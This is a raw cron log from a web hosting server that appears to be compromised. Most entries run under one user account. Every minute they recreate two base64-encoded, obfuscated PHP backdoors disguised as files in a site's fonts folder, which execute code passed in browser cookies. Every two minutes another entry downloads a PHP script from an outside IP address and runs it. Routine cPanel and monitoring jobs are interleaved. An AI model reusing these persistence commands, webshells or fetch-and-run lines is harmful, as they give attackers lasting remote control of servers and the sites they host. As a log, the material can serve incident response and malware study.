Sep  9 01:21:02 ip-184-168-122-23 CROND[20143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:22:01 ip-184-168-122-23 CROND[20222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:22:01 ip-184-168-122-23 CROND[20223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:22:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:22:01 ip-184-168-122-23 CROND[20226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:22:01 ip-184-168-122-23 CROND[20227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:23:01 ip-184-168-122-23 CROND[20395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:23:01 ip-184-168-122-23 CROND[20396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:23:01 ip-184-168-122-23 CROND[20399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:23:01 ip-184-168-122-23 CROND[20398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:24:01 ip-184-168-122-23 CROND[20479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:24:01 ip-184-168-122-23 CROND[20478]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:24:01 ip-184-168-122-23 CROND[20483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:24:01 ip-184-168-122-23 CROND[20484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:24:01 ip-184-168-122-23 CROND[20482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:25:01 ip-184-168-122-23 CROND[20574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:25:01 ip-184-168-122-23 CROND[20575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:25:01 ip-184-168-122-23 CROND[20578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:25:01 ip-184-168-122-23 CROND[20582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:25:01 ip-184-168-122-23 CROND[20584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:25:01 ip-184-168-122-23 CROND[20585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:26:01 ip-184-168-122-23 CROND[20670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:26:01 ip-184-168-122-23 CROND[20672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:26:01 ip-184-168-122-23 CROND[20673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:26:01 ip-184-168-122-23 CROND[20674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:26:01 ip-184-168-122-23 CROND[20675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:27:01 ip-184-168-122-23 CROND[20764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:27:01 ip-184-168-122-23 CROND[20766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:27:01 ip-184-168-122-23 CROND[20767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:27:01 ip-184-168-122-23 CROND[20768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:28:01 ip-184-168-122-23 CROND[20855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:28:01 ip-184-168-122-23 CROND[20857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:28:01 ip-184-168-122-23 CROND[20860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:28:01 ip-184-168-122-23 CROND[20862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:28:01 ip-184-168-122-23 CROND[20861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:29:01 ip-184-168-122-23 CROND[21026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:29:01 ip-184-168-122-23 CROND[21028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:29:01 ip-184-168-122-23 CROND[21029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:29:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:30:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:30:01 ip-184-168-122-23 CROND[21127]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:30:01 ip-184-168-122-23 CROND[21131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:31:01 ip-184-168-122-23 CROND[21221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:31:01 ip-184-168-122-23 CROND[21224]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 01:31:01 ip-184-168-122-23 CROND[21225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:31:01 ip-184-168-122-23 CROND[21226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:31:01 ip-184-168-122-23 CROND[21223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:32:01 ip-184-168-122-23 CROND[21318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:32:01 ip-184-168-122-23 CROND[21320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:32:01 ip-184-168-122-23 CROND[21319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 01:32:01 ip-184-168-122-23 CROND[21317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 01:32:01 ip-184-168-122-23 CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:33:01 ip-184-168-122-23 CROND[21411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 01:33:01 ip-184-168-122-23 CROND[21409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 01:33:01 ip-184-168-122-23 CROND[21410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 01:33:01 ip-184-168-122-23 CROND[21412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
